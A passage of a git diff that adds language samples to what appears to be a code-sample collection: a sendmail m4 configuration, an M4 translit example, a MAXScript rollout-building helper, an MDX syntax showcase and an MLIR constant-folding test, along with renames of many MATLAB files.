+FEATURE(`no_default_msa', `dnl')dnl
+FEATURE(`smrsh', `/usr/sbin/smrsh')dnl
+FEATURE(`mailertable', `hash -o /etc/mail/mailertable.db')dnl
+FEATURE(`virtusertable', `hash -o /etc/mail/virtusertable.db')dnl
+FEATURE(redirect)dnl
+FEATURE(always_add_domain)dnl
+FEATURE(use_cw_file)dnl
+FEATURE(use_ct_file)dnl
+dnl define(`confMAX_DAEMON_CHILDREN', `10')dnl
+dnl define(`confCONNECTION_RATE_THROTTLE', `3')dnl
+dnl #
+dnl # The -t option will retry delivery if e.g. the user runs over his quota.
+dnl #
+FEATURE(local_procmail, `', `procmail -t -Y -a $h -d $u')dnl
+FEATURE(`access_db', `hash -T<TMPF> -o /etc/mail/access.db')dnl
+FEATURE(`blacklist_recipients')dnl
+EXPOSED_USER(`root')dnl
+dnl define(`confLOCAL_MAILER', `cyrusv2')dnl
+dnl define(`CYRUSV2_MAILER_ARGS', `FILE /var/lib/imap/socket/lmtp')dnl
+dnl DAEMON_OPTIONS(`Port=submission, Name=MSA, M=Ea')dnl
+dnl #
+dnl # For this to work your OpenSSL certificates must be configured.
+dnl #
+dnl DAEMON_OPTIONS(`Port=smtps, Name=TLSMTA, M=s')dnl
+dnl #
+dnl # The following causes sendmail to additionally listen on the IPv6 loopback
+dnl # device. Remove the loopback address restriction listen to the network.
+dnl #
+dnl DAEMON_OPTIONS(`port=smtp,Addr=::1, Name=MTA-v6, Family=inet6')dnl
+dnl #
+dnl # enable both ipv6 and ipv4 in sendmail:
+dnl #
+dnl DAEMON_OPTIONS(`Name=MTA-v4, Family=inet, Name=MTA-v6, Family=inet6')
+FEATURE(`accept_unresolvable_domains')dnl
+dnl #
+dnl FEATURE(`relay_based_on_MX')dnl
+dnl #
+dnl # Also accept email sent to "localhost.localdomain" as local email.
+dnl # 
+LOCAL_DOMAIN(`localhost.localdomain')dnl
+dnl #
+dnl # The following example makes mail from this host and any additional
+dnl # specified domains appear to be sent from mydomain.com
+dnl #
+dnl MASQUERADE_AS(`mydomain.com')dnl
+dnl #
+dnl # masquerade not just the headers, but the envelope as well
+dnl #
+dnl FEATURE(masquerade_envelope)dnl
+dnl #
+dnl # masquerade not just @mydomainalias.com, but @*.mydomainalias.com as well
+dnl #
+dnl FEATURE(masquerade_entire_domain)dnl
+dnl #
+dnl MASQUERADE_DOMAIN(localhost)dnl
+dnl MASQUERADE_DOMAIN(localhost.localdomain)dnl
+dnl MASQUERADE_DOMAIN(mydomainalias.com)dnl
+dnl MASQUERADE_DOMAIN(mydomain.lan)dnl
+MAILER(smtp)dnl
+MAILER(procmail)dnl
+dnl MAILER(cyrusv2)dnl
diff --git a/samples/M4/translit2.m4 b/samples/M4/translit2.m4
new file mode 100644
index 0000000000..ec26c08405
--- /dev/null
+++ b/samples/M4/translit2.m4
@@ -0,0 +1,9 @@
+dnl $FreeBSD$
+translit(`[HAVE_abc/def.h
+]', `
+/.', `/  ')
+translit(`[HAVE_abc/def.h=]', `=/.', `/~~')
+translit(`0123456789', `0123456789', `ABCDEFGHIJ')
+translit(`0123456789', `[0-9]', `[A-J]')
+translit(`abc-0980-zyx', `abcdefghijklmnopqrstuvwxyz', `ABCDEFGHIJKLMNOPQRSTUVWXYZ') 
+translit(`abc-0980-zyx', `[a-z]', `[A-Z]') 
diff --git a/samples/Matlab/Check_plot.m b/samples/MATLAB/Check_plot.m
similarity index 100%
rename from samples/Matlab/Check_plot.m
rename to samples/MATLAB/Check_plot.m
diff --git a/samples/Matlab/FTLEH.m b/samples/MATLAB/FTLEH.m
similarity index 100%
rename from samples/Matlab/FTLEH.m
rename to samples/MATLAB/FTLEH.m
diff --git a/samples/Matlab/FTLE_reg.m b/samples/MATLAB/FTLE_reg.m
similarity index 100%
rename from samples/Matlab/FTLE_reg.m
rename to samples/MATLAB/FTLE_reg.m
diff --git a/samples/Matlab/Integrate1.m b/samples/MATLAB/Integrate1.m
similarity index 100%
rename from samples/Matlab/Integrate1.m
rename to samples/MATLAB/Integrate1.m
diff --git a/samples/Matlab/Integrate2.m b/samples/MATLAB/Integrate2.m
similarity index 100%
rename from samples/Matlab/Integrate2.m
rename to samples/MATLAB/Integrate2.m
diff --git a/samples/Matlab/Lagr.m b/samples/MATLAB/Lagr.m
similarity index 100%
rename from samples/Matlab/Lagr.m
rename to samples/MATLAB/Lagr.m
diff --git a/samples/Matlab/Lagrangian_points.m b/samples/MATLAB/Lagrangian_points.m
similarity index 100%
rename from samples/Matlab/Lagrangian_points.m
rename to samples/MATLAB/Lagrangian_points.m
diff --git a/samples/Matlab/Poincare.m b/samples/MATLAB/Poincare.m
similarity index 100%
rename from samples/Matlab/Poincare.m
rename to samples/MATLAB/Poincare.m
diff --git a/samples/Matlab/RK4.m b/samples/MATLAB/RK4.m
similarity index 100%
rename from samples/Matlab/RK4.m
rename to samples/MATLAB/RK4.m
diff --git a/samples/Matlab/Traj.m b/samples/MATLAB/Traj.m
similarity index 100%
rename from samples/Matlab/Traj.m
rename to samples/MATLAB/Traj.m
diff --git a/samples/Matlab/adapting_structural_model.m b/samples/MATLAB/adapting_structural_model.m
similarity index 100%
rename from samples/Matlab/adapting_structural_model.m
rename to samples/MATLAB/adapting_structural_model.m
diff --git a/samples/Matlab/average.m b/samples/MATLAB/average.m
similarity index 100%
rename from samples/Matlab/average.m
rename to samples/MATLAB/average.m
diff --git a/samples/Matlab/bicycle_state_space.m b/samples/MATLAB/bicycle_state_space.m
similarity index 100%
rename from samples/Matlab/bicycle_state_space.m
rename to samples/MATLAB/bicycle_state_space.m
diff --git a/samples/Matlab/convert_variable.m b/samples/MATLAB/convert_variable.m
similarity index 100%
rename from samples/Matlab/convert_variable.m
rename to samples/MATLAB/convert_variable.m
diff --git a/samples/Matlab/create_ieee_paper_plots.m b/samples/MATLAB/create_ieee_paper_plots.m
similarity index 100%
rename from samples/Matlab/create_ieee_paper_plots.m
rename to samples/MATLAB/create_ieee_paper_plots.m
diff --git a/samples/Matlab/cross_validation.m b/samples/MATLAB/cross_validation.m
similarity index 100%
rename from samples/Matlab/cross_validation.m
rename to samples/MATLAB/cross_validation.m
diff --git a/samples/Matlab/distance.m b/samples/MATLAB/distance.m
similarity index 100%
rename from samples/Matlab/distance.m
rename to samples/MATLAB/distance.m
diff --git a/samples/Matlab/double_gyre.m b/samples/MATLAB/double_gyre.m
similarity index 100%
rename from samples/Matlab/double_gyre.m
rename to samples/MATLAB/double_gyre.m
diff --git a/samples/Matlab/example.m b/samples/MATLAB/example.m
similarity index 100%
rename from samples/Matlab/example.m
rename to samples/MATLAB/example.m
diff --git a/samples/Matlab/fit_adapt.m b/samples/MATLAB/fit_adapt.m
similarity index 100%
rename from samples/Matlab/fit_adapt.m
rename to samples/MATLAB/fit_adapt.m
diff --git a/samples/Matlab/fit_adapt_linear.m b/samples/MATLAB/fit_adapt_linear.m
similarity index 100%
rename from samples/Matlab/fit_adapt_linear.m
rename to samples/MATLAB/fit_adapt_linear.m
diff --git a/samples/Matlab/gpu_RKF45_FILE.m b/samples/MATLAB/gpu_RKF45_FILE.m
similarity index 100%
rename from samples/Matlab/gpu_RKF45_FILE.m
rename to samples/MATLAB/gpu_RKF45_FILE.m
diff --git a/samples/Matlab/ieee.m b/samples/MATLAB/ieee.m
similarity index 100%
rename from samples/Matlab/ieee.m
rename to samples/MATLAB/ieee.m
diff --git a/samples/Matlab/lane_change.m b/samples/MATLAB/lane_change.m
similarity index 100%
rename from samples/Matlab/lane_change.m
rename to samples/MATLAB/lane_change.m
diff --git a/samples/Matlab/load_bikes.m b/samples/MATLAB/load_bikes.m
similarity index 100%
rename from samples/Matlab/load_bikes.m
rename to samples/MATLAB/load_bikes.m
diff --git a/samples/Matlab/load_data.m b/samples/MATLAB/load_data.m
similarity index 100%
rename from samples/Matlab/load_data.m
rename to samples/MATLAB/load_data.m
diff --git a/samples/Matlab/make_filter.m b/samples/MATLAB/make_filter.m
similarity index 100%
rename from samples/Matlab/make_filter.m
rename to samples/MATLAB/make_filter.m
diff --git a/samples/Matlab/matlab_class.m b/samples/MATLAB/matlab_class.m
similarity index 100%
rename from samples/Matlab/matlab_class.m
rename to samples/MATLAB/matlab_class.m
diff --git a/samples/Matlab/matlab_function.m b/samples/MATLAB/matlab_function.m
similarity index 100%
rename from samples/Matlab/matlab_function.m
rename to samples/MATLAB/matlab_function.m
diff --git a/samples/Matlab/matlab_script.m b/samples/MATLAB/matlab_script.m
similarity index 100%
rename from samples/Matlab/matlab_script.m
rename to samples/MATLAB/matlab_script.m
diff --git a/samples/Matlab/matlab_script2.m b/samples/MATLAB/matlab_script2.m
similarity index 100%
rename from samples/Matlab/matlab_script2.m
rename to samples/MATLAB/matlab_script2.m
diff --git a/samples/Matlab/normalize.m b/samples/MATLAB/normalize.m
similarity index 100%
rename from samples/Matlab/normalize.m
rename to samples/MATLAB/normalize.m
diff --git a/samples/Matlab/overwrite_settings.m b/samples/MATLAB/overwrite_settings.m
similarity index 100%
rename from samples/Matlab/overwrite_settings.m
rename to samples/MATLAB/overwrite_settings.m
diff --git a/samples/Matlab/par_text_to_struct.m b/samples/MATLAB/par_text_to_struct.m
similarity index 100%
rename from samples/Matlab/par_text_to_struct.m
rename to samples/MATLAB/par_text_to_struct.m
diff --git a/samples/Matlab/plant.m b/samples/MATLAB/plant.m
similarity index 100%
rename from samples/Matlab/plant.m
rename to samples/MATLAB/plant.m
diff --git a/samples/Matlab/test_rk_par.m b/samples/MATLAB/test_rk_par.m
similarity index 100%
rename from samples/Matlab/test_rk_par.m
rename to samples/MATLAB/test_rk_par.m
diff --git a/samples/Matlab/test_system_state_space.m b/samples/MATLAB/test_system_state_space.m
similarity index 100%
rename from samples/Matlab/test_system_state_space.m
rename to samples/MATLAB/test_system_state_space.m
diff --git a/samples/Matlab/varargin_to_structure.m b/samples/MATLAB/varargin_to_structure.m
similarity index 100%
rename from samples/Matlab/varargin_to_structure.m
rename to samples/MATLAB/varargin_to_structure.m
diff --git a/samples/Matlab/write_gains.m b/samples/MATLAB/write_gains.m
similarity index 100%
rename from samples/Matlab/write_gains.m
rename to samples/MATLAB/write_gains.m
diff --git a/samples/MAXScript/rolloutCreator.ms b/samples/MAXScript/rolloutCreator.ms
new file mode 100644
index 0000000000..19e3c18288
--- /dev/null
+++ b/samples/MAXScript/rolloutCreator.ms
@@ -0,0 +1,176 @@
+-------------------------------------------------------------------------------
+--   
+--  File:		rolloutCreator.ms
+--  Description:	Localization friendly helper struct for dynamically creating rollouts
+--  By:		Ravi Karra [Discreet] 			ravi.karra@discreet.com
+--	 
+--  Version:	1.01
+--  Version:	1.02 - Larry Minton [Discreet] 
+--						changed <string1> += <string2> to append string1 string2
+--						added addText method
+--  Declarations:
+/*
+	rolloutCreator <rollout_name> <rollout_caption> [width:] [height:]
+		creates an instance of rolloutCreator, assign it to a variable
+		width - width of the rollout/dialog to be created
+		height - of the rollout/dialog to be created
+		
+		eg:
+	 	rci = rolloutCreator "myRollout" "My Rollout"
+		
+
+	.begin()
+		this function needs to be called immediately after the instance is created, this does the initialization
+
+	.addLocal <local_name> [init:]
+		<local_name> 
+		name of the local
+		
+		[init:]
+		what the local should be initialized to
+	
+	.addControl <control_type> <control_name> <control_caption> [paramStr:<string>] =
+		adds a control to the rollout
+		
+		<control_type>
+		can be any of named rolloutControls eg: #button, #spinner, #activeXControl etc
+		
+		<control_name>
+		variable name of the control by which it is referred eg: #btnButton
+		
+		<control_caption>
+		caption of the control "My Button"
+		
+		[paramStr:]
+		an optional string representation of all the keyword parameters that needs to be passed to the control
+		eg: "width:100 height:20 align:#right"
+		
+		eg:
+		rci.addControl #button #myButton "My Button"
+	
+	.addHandler <control_name> <event_type> [paramStr:<string>]  [codeStr:<string>] [filter:<boolean>]
+		adds an event handler for the controls previously added 
+		
+		<control_name>
+		the variable passed during the control creation
+		 
+		<event_type>
+		any of the events supported by the control, eg: #changed, #pressed, #selected
+		
+		[paramStr:<string>]
+		an optional string representation of all the positional and keyword parameters that are passed to the event	
+
+		[codeStr:<string>]
+		a string representation of the event handler code, if the string contains sub-strings, enclose them in two character '@' 
+		and pass on\true for the filter: parameter
+
+		[filter:<boolean>]
+		if true, converts '@' to quote in codeStr
+				
+		eg:
+		rci.addHandler #myButton #pressed codeStr:"MessageBox @Hey@" filter:on
+		will add an event handler for button named "myButton". When the button is clicked, messagebox pops up with text "hey" in it.
+		
+	.addText <string> [filter:<boolean>]
+		adds string to rollout definition. Typically used for function definitions.
+
+		[filter:<boolean>]
+		if true, converts '@' to quote in string
+				
+	.end()
+		this function has to be called whenever all the required control and their event handler's are called. This function forms 
+		the rollout string, evaluates it and returns the definition which can passed to createDialog and addRollout functions.
+	
+	Complete Example:
+		 rci = rolloutCreator "myRollout" "My Rollout"
+		 rci.begin()
+			rci.addControl #button #myButton "My Button"
+			rci.addHandler #myButton #pressed filter:on codeStr:"MessageBox @Isn't this cool@ title:@Wow@"
+		createDialog (rci.end())
+*/
+-------------------------------------------------------------------------------
+
+
+if __rcCounter == undefined then global __rcCounter = 0
+struct rolloutCreator
+(
+	-- variables
+	name, caption, str, def, width, height, quote="\"",
+	
+	-- functions
+	fn begin = 
+( 
+		if name == undefined then
+	(
+			__rcCounter += 1
+			name = "rolloutCreator" + __rcCounter as string
+	)
+		if caption == undefined then caption = ""
+		str = ""
+	),
+	
+	fn addLocal name init: = 
+(
+		local dStr = "\tlocal " + name as string
+		if init != unsupplied then append dStr (" = " + init as string)
+		append dStr "\n"
+		append str dStr
+	),
+
+	fn addControl type name caption paramStr:"" =
+(	
+		append str ("\t" + type as string + " " + name as string + " " + quote + caption + quote + paramStr + "\n")
+	),
+	
+	fn strFilter codeStr =
+(
+			local last_is_at = codeStr[codeStr.count] == "@"
+			local fltStr = filterString codeStr "@"
+			local rep = "\""
+			codeStr = (if (codeStr[1] == "@") then rep else "") + fltStr[1]
+			for i=2 to fltStr.count do
+		(
+				append codeStr (rep + fltStr[i])
+		)
+			if last_is_at then append codeStr rep
+			codeStr
+	),
+
+	fn addHandler ctrl event paramStr:"" filter:on codeStr:"" =
+(
+		if filter do codeStr = (strFilter codeStr)
+		append str ("\non " + ctrl as string + " " + event as string + " " + paramStr as string + " do \n(\n" + codeStr + ";ok\n)\n")
+	),
+	
+	fn addText txt filter:on =
+(
+		if filter do txt = (strFilter txt )
+		append str ("\t " + txt + "\n")
+	),
+	
+	fn end = 
+( 
+		local dStr = "rollout " + name + " " + quote + caption + quote
+		if width != undefined then
+ 			append dStr (" width:" + width as string)
+		if height != undefined then
+			append dStr (" height:" + height as string)
+		append dStr "\n(\n" 
+		append dStr str
+		append dStr "\n)\n"
+		str = dStr
+		def = execute str
+)
+)
+
+/*-- Usage
+-- Create an instance of the rolloutCreator passing the name and the caption
+rfTest = rolloutCreator "rfTestN" "rfTestC" --width:300 height:100
+-- Start creating the rollout
+rfTest.begin()
+	rfTest.addControl #button #myButton "My Button"			-- add a button
+--	rfTest.addHandler #myButton #pressed filter:on codeStr:"MessageBox @Hey@"
+rfTest.addHandler #myButton #pressed filter:on codeStr:"MessageBox @Look to the \@Light\@ thing@" 
+rfTest.end()
+createDialog rfTest.def
+*/
\ No newline at end of file
diff --git a/samples/MDX/sample.mdx b/samples/MDX/sample.mdx
new file mode 100644
index 0000000000..d6df853331
--- /dev/null
+++ b/samples/MDX/sample.mdx
@@ -0,0 +1,199 @@
+---
+title: Hello!
+---
+
+# Last year’s snowfall
+
+In {year}, the snowfall was above average.
+It was followed by a warm spring which caused
+flood conditions in many of the nearby rivers.
+
+# Extension: ESM
+
+import {Chart} from './chart.js'
+import population from './population.js'
+import {External} from './some/place.js'
+
+export const year = 2018
+export const pi = 3.14
+
+export function SomeComponent(props) {
+  const name = (props || {}).name || 'world'
+
+  return <div>
+    <p>Hi, {name}!</p>
+
+    <p>and some more things</p>
+  </div>
+}
+
+export function Local(props) {
+  return <span style={{color: 'red'}} {...props} />
+}
+
+## Extension: jsx tags
+
+<Chart year={year} color="#fcb32c" />
+
+<div className="note">
+  > Some notable things in a block quote!
+</div>
+
+<Component
+  open
+  x={1}
+  label={'this is a string, *not* markdown!'}
+  icon={<Icon />}
+/>
+
+## Extension: expressions
+
+Two 🍰 is: {Math.PI * 2}
+
+{(function () {
+  const guess = Math.random()
+
+  if (guess > 0.66) {
+    return <span style={{color: 'tomato'}}>Look at us.</span>
+  }
+
+  if (guess > 0.33) {
+    return <span style={{color: 'violet'}}>Who would have guessed?!</span>
+  }
+
+  return <span style={{color: 'goldenrod'}}>Not me.</span>
+})()}
+
+{/* A comment! */}
+
+Attention (emphasis): *hi* / _hi_
+Attention (strong): **hi** / __hi__
+Attention (strong & emphasis): ***hi*** / ___hi___.
+Attention (strikethrough): ~hi~ ~~hi~~.
+Character escape: \-, \&.
+Character reference: &amp; &#123; &#x123;.
+Code (text): `hi` and `` ` ``.
+Label end (resource): [a](https://example&dot;com 'title').
+Label end (reference, full): [a][b].
+Label end (reference, collapsed, shortcut): [a][], [a].
+
+## Definitions
+
+[a]: <https://example\.com> "b"
+[a]: https://example&dot;com 'b'
+[a]: # (b\&c)
+[a&amp;b]: <>
+
+## Heading (setext)
+
+alpha
+=====
+
+*bravo
+charlie*
+--------
+
+## Heading (atx)
+#
+## A ##
+### B
+#### C
+##### D
+###### E
+####### ?
+
+## Thematic break
+
+***
+
+## Code (fenced)
+
+````markdown
+```css
+em { color: red } /* What! */
+```
+````
+
+~~~js eval
+alert(true + 2 + '3')
+~~~
+
+## Block quote
+
+> # asd
+
+> **asd
+qwe**
+
+> ~~~js
+> console.log(1)
+> ~~~
+
+## List
+
+1. # asd
+
+* **asd
+qwe**
+
+* ~~~js
+  console.log('hi!')
+  ~~~
+
+123456789.    ```js
+              asd + 123
+
+## Extension: math
+
+Math (text): $$hi$$ and $$ $ $$.
+Math (flow):
+
+$$
+L = \frac{1}{2} \rho v^2 S C_L
+$$
+
+## Extension: GFM autolink literals
+
+a a@b.com/ ("aasd@example.com") mailto:a+b@c.com xmpp:a+b@c.com.
+
+a www.example.com/a(b) www.example.com/a(b(c)), wWw.example.com/a(b(c(d))).
+
+ahttps://example.com https://example.com/a(b) hTTp://example.com/a(b(c(d))).
+
+## Extension: GFM footnotes
+
+a[^b], [^c d].
+
+[^b]: *Lorem
+    dolor*.
+
+[^b]:
+    ??
+
+[^b]: ~~~js
+    console.log(1)
+    ~~~
+
+## Extension: GFM task list
+
+*  [ ] not done
+1. [x] done
+
+## Extension: GFM table
+
+| Stuff? | stuff! |
+| - | ----- |
+| asdasda | https://example.com |
+what&not; | qweeeeeeeeeee
+
+## Extension: GitHub gemoji
+
+:+1: :100:
+
+## Extension: GitHub mention
+
+@username @org/team.
+
+## Extension: GitHub reference
+
+GH-123, #123, GHSA-123asdzxc, cve-123asdzxc, user#123, user/project#123.
diff --git a/samples/MLIR/const-fold.mlir b/samples/MLIR/const-fold.mlir
new file mode 100644
index 0000000000..448830bd0a
--- /dev/null
+++ b/samples/MLIR/const-fold.mlir
@@ -0,0 +1,457 @@
+// RUN: tf-opt %s -test-constant-fold | FileCheck %s --dump-input-on-failure
+
+// CHECK-LABEL: @add_float
+func @add_float() -> (tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>) {
+  %0 = constant dense<4.5> : tensor<f32>
+  %1 = constant dense<1.5> : tensor<f32>
+
+  %2 = constant dense< 3.5> : tensor<4xf32>
+  %3 = constant dense<-0.5> : tensor<4xf32>
+
+  // CHECK: %cst = constant dense<3.500000e+00> : tensor<4xf32>
+  // CHECK: %cst_0 = constant dense<-5.000000e-01> : tensor<4xf32>
+  // CHECK: %cst_1 = constant dense<6.000000e+00> : tensor<f32>
+  // CHECK: %cst_2 = constant dense<4.000000e+00> : tensor<4xf32>
+  // CHECK: %cst_3 = constant dense<5.000000e+00> : tensor<4xf32>
+  // CHECK: %cst_4 = constant dense<3.000000e+00> : tensor<4xf32>
+  // CHECK: %0 = tfl.add %cst, %cst_0 {fused_activation_function = "SIGN_BIT"} : tensor<4xf32>
+
+  %5 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<  f32>, tensor<  f32>) -> tensor<  f32>
+  %6 = "tfl.add"(%0, %3) {fused_activation_function = "NONE"} : (tensor<  f32>, tensor<4xf32>) -> tensor<4xf32>
+  %7 = "tfl.add"(%2, %1) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<  f32>) -> tensor<4xf32>
+  %8 = "tfl.add"(%2, %3) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>
+  %9 = "tfl.add"(%2, %3) {fused_activation_function = "SIGN_BIT"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>
+
+  return %5, %6, %7, %8, %9 : tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>
+}
+
+// CHECK-LABEL: @add_int
+func @add_int() -> (tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>) {
+  %0 = constant dense<8> : tensor<i32>
+  %1 = constant dense<1> : tensor<i32>
+
+  %2 = constant dense< 4> : tensor<4xi32>
+  %3 = constant dense<-2> : tensor<4xi32>
+
+  // CHECK: %cst = constant dense<9> : tensor<i32>
+  // CHECK: %cst_0 = constant dense<6> : tensor<4xi32>
+  // CHECK: %cst_1 = constant dense<5> : tensor<4xi32>
+  // CHECK: %cst_2 = constant dense<2> : tensor<4xi32>
+
+  %5 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<  i32>, tensor<  i32>) -> tensor<  i32>
+  %6 = "tfl.add"(%0, %3) {fused_activation_function = "NONE"} : (tensor<  i32>, tensor<4xi32>) -> tensor<4xi32>
+  %7 = "tfl.add"(%2, %1) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<  i32>) -> tensor<4xi32>
+  %8 = "tfl.add"(%2, %3) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>
+
+  return %5, %6, %7, %8 : tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>
+}
+
+// CHECK-LABEL: @sub_float
+func @sub_float() -> (tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>) {
+  %0 = constant dense<4.5> : tensor<f32>
+  %1 = constant dense<1.5> : tensor<f32>
+
+  %2 = constant dense< 3.5> : tensor<4xf32>
+  %3 = constant dense<-0.5> : tensor<4xf32>
+
+  // CHECK: %cst = constant dense<3.000000e+00> : tensor<f32>
+  // CHECK: %cst_0 = constant dense<5.000000e+00> : tensor<4xf32>
+  // CHECK: %cst_1 = constant dense<2.000000e+00> : tensor<4xf32>
+  // CHECK: %cst_2 = constant dense<4.000000e+00> : tensor<4xf32>
+
+  %5 = "tfl.sub"(%0, %1) {fused_activation_function = "NONE"} : (tensor<  f32>, tensor<  f32>) -> tensor<  f32>
+  %6 = "tfl.sub"(%0, %3) {fused_activation_function = "NONE"} : (tensor<  f32>, tensor<4xf32>) -> tensor<4xf32>
+  %7 = "tfl.sub"(%2, %1) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<  f32>) -> tensor<4xf32>
+  %8 = "tfl.sub"(%2, %3) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>
+
+  return %5, %6, %7, %8 : tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>
+}
+
+// CHECK-LABEL: @sub_int
+func @sub_int() -> (tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>) {
+  %0 = constant dense<8> : tensor<i32>
+  %1 = constant dense<1> : tensor<i32>
+
+  %2 = constant dense< 4> : tensor<4xi32>
+  %3 = constant dense<-2> : tensor<4xi32>
+
+  // CHECK: %cst = constant dense<7> : tensor<i32>
+  // CHECK: %cst_0 = constant dense<10> : tensor<4xi32>
+  // CHECK: %cst_1 = constant dense<3> : tensor<4xi32>
+  // CHECK: %cst_2 = constant dense<6> : tensor<4xi32>
+
+  %5 = "tfl.sub"(%0, %1) {fused_activation_function = "NONE"} : (tensor<  i32>, tensor<  i32>) -> tensor<  i32>
+  %6 = "tfl.sub"(%0, %3) {fused_activation_function = "NONE"} : (tensor<  i32>, tensor<4xi32>) -> tensor<4xi32>
+  %7 = "tfl.sub"(%2, %1) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<  i32>) -> tensor<4xi32>
+  %8 = "tfl.sub"(%2, %3) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>
+
+  return %5, %6, %7, %8 : tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>
+}
+
+// CHECK-LABEL: @mul_float
+func @mul_float() -> (tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>) {
+  %0 = constant dense<4.5> : tensor<f32>
+  %1 = constant dense<1.5> : tensor<f32>
+
+  %2 = constant dense< 3.5> : tensor<4xf32>
+  %3 = constant dense<-0.5> : tensor<4xf32>
+
+  // CHECK: %cst = constant dense<6.750000e+00> : tensor<f32>
+  // CHECK: %cst_0 = constant dense<-2.250000e+00> : tensor<4xf32>
+  // CHECK: %cst_1 = constant dense<5.250000e+00> : tensor<4xf32>
+  // CHECK: %cst_2 = constant dense<-1.750000e+00> : tensor<4xf32>
+
+  %5 = "tfl.mul"(%0, %1) {fused_activation_function = "NONE"} : (tensor<  f32>, tensor<  f32>) -> tensor<  f32>
+  %6 = "tfl.mul"(%0, %3) {fused_activation_function = "NONE"} : (tensor<  f32>, tensor<4xf32>) -> tensor<4xf32>
+  %7 = "tfl.mul"(%2, %1) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<  f32>) -> tensor<4xf32>
+  %8 = "tfl.mul"(%2, %3) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>
+
+  return %5, %6, %7, %8 : tensor<f32>, tensor<4xf32>, tensor<4xf32>, tensor<4xf32>
+}
+
+// CHECK-LABEL: @elementwise_unary_ops
+func @elementwise_unary_ops() -> (tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>) {
+  %0 = constant dense<-1.0> : tensor<f32>
+  %1 = constant dense<1.0> : tensor<f32>
+  %2 = constant dense<1.0> : tensor<f32>
+  %3 = constant dense<1.0> : tensor<f32>
+  %4 = constant dense<4.0> : tensor<f32>
+  %5 = constant dense<4.0> : tensor<f32>
+  %6 = constant dense<2.0> : tensor<f32>
+
+  // CHECK-DAG: [[cst0:%.*]] = constant dense<1.000000e+00> : tensor<f32>
+  // CHECK-DAG: [[cst1:%.*]] = constant dense<0.841470957> : tensor<f32>
+  // CHECK-DAG: [[cst2:%.*]] = constant dense<0.540302277> : tensor<f32>
+  // CHECK-DAG: [[cst3:%.*]] = constant dense<0.000000e+00> : tensor<f32>
+  // CHECK-DAG: [[cst4:%.*]] = constant dense<2.000000e+00> : tensor<f32>
+  // CHECK-DAG: [[cst5:%.*]] = constant dense<5.000000e-01> : tensor<f32>
+  // CHECK-DAG: [[cst6:%.*]] = constant dense<4.000000e+00> : tensor<f32>
+  // CHECK: return [[cst0]], [[cst1]], [[cst2]], [[cst3]], [[cst4]], [[cst5]], [[cst6]]
+
+  %7 = "tfl.abs"(%0) : (tensor<f32>) -> tensor<f32>
+  %8 = "tfl.sin"(%1) : (tensor<f32>) -> tensor<f32>
+  %9 = "tfl.cos"(%2) : (tensor<f32>) -> tensor<f32>
+  %10 = "tfl.log"(%3) : (tensor<f32>) -> tensor<f32>
+  %11 = "tfl.sqrt"(%4) : (tensor<f32>) -> tensor<f32>
+  %12 = "tfl.rsqrt"(%5) : (tensor<f32>) -> tensor<f32>
+  %13 = "tfl.square"(%6) : (tensor<f32>) -> tensor<f32>
+
+  return %7, %8, %9, %10, %11, %12, %13 : tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>, tensor<f32>
+}
+
+// CHECK-LABEL: @mul_int
+func @mul_int() -> (tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>) {
+  %0 = constant dense<8> : tensor<i32>
+  %1 = constant dense<1> : tensor<i32>
+
+  %2 = constant dense< 4> : tensor<4xi32>
+  %3 = constant dense<-2> : tensor<4xi32>
+
+  // CHECK-DAG: [[cst0:%.*]] = constant dense<8> : tensor<i32>
+  // CHECK-DAG: [[cst1:%.*]] = constant dense<-16> : tensor<4xi32>
+  // CHECK-DAG: [[cst2:%.*]] = constant dense<4> : tensor<4xi32>
+  // CHECK-DAG: [[cst3:%.*]] = constant dense<-8> : tensor<4xi32>
+  // CHECK: return [[cst0]], [[cst1]], [[cst2]], [[cst3]]
+
+  %5 = "tfl.mul"(%0, %1) {fused_activation_function = "NONE"} : (tensor<  i32>, tensor<  i32>) -> tensor<  i32>
+  %6 = "tfl.mul"(%0, %3) {fused_activation_function = "NONE"} : (tensor<  i32>, tensor<4xi32>) -> tensor<4xi32>
+  %7 = "tfl.mul"(%2, %1) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<  i32>) -> tensor<4xi32>
+  %8 = "tfl.mul"(%2, %3) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>
+
+  return %5, %6, %7, %8 : tensor<i32>, tensor<4xi32>, tensor<4xi32>, tensor<4xi32>
+}
+
+// CHECK-LABEL: @add_dense_splat_int
+func @add_dense_splat_int() -> tensor<4xi32> {
+  %0 = constant dense<[-10, -1, 42, 100]> : tensor<4xi32>
+  %1 = constant dense< 5> : tensor<4xi32>
+
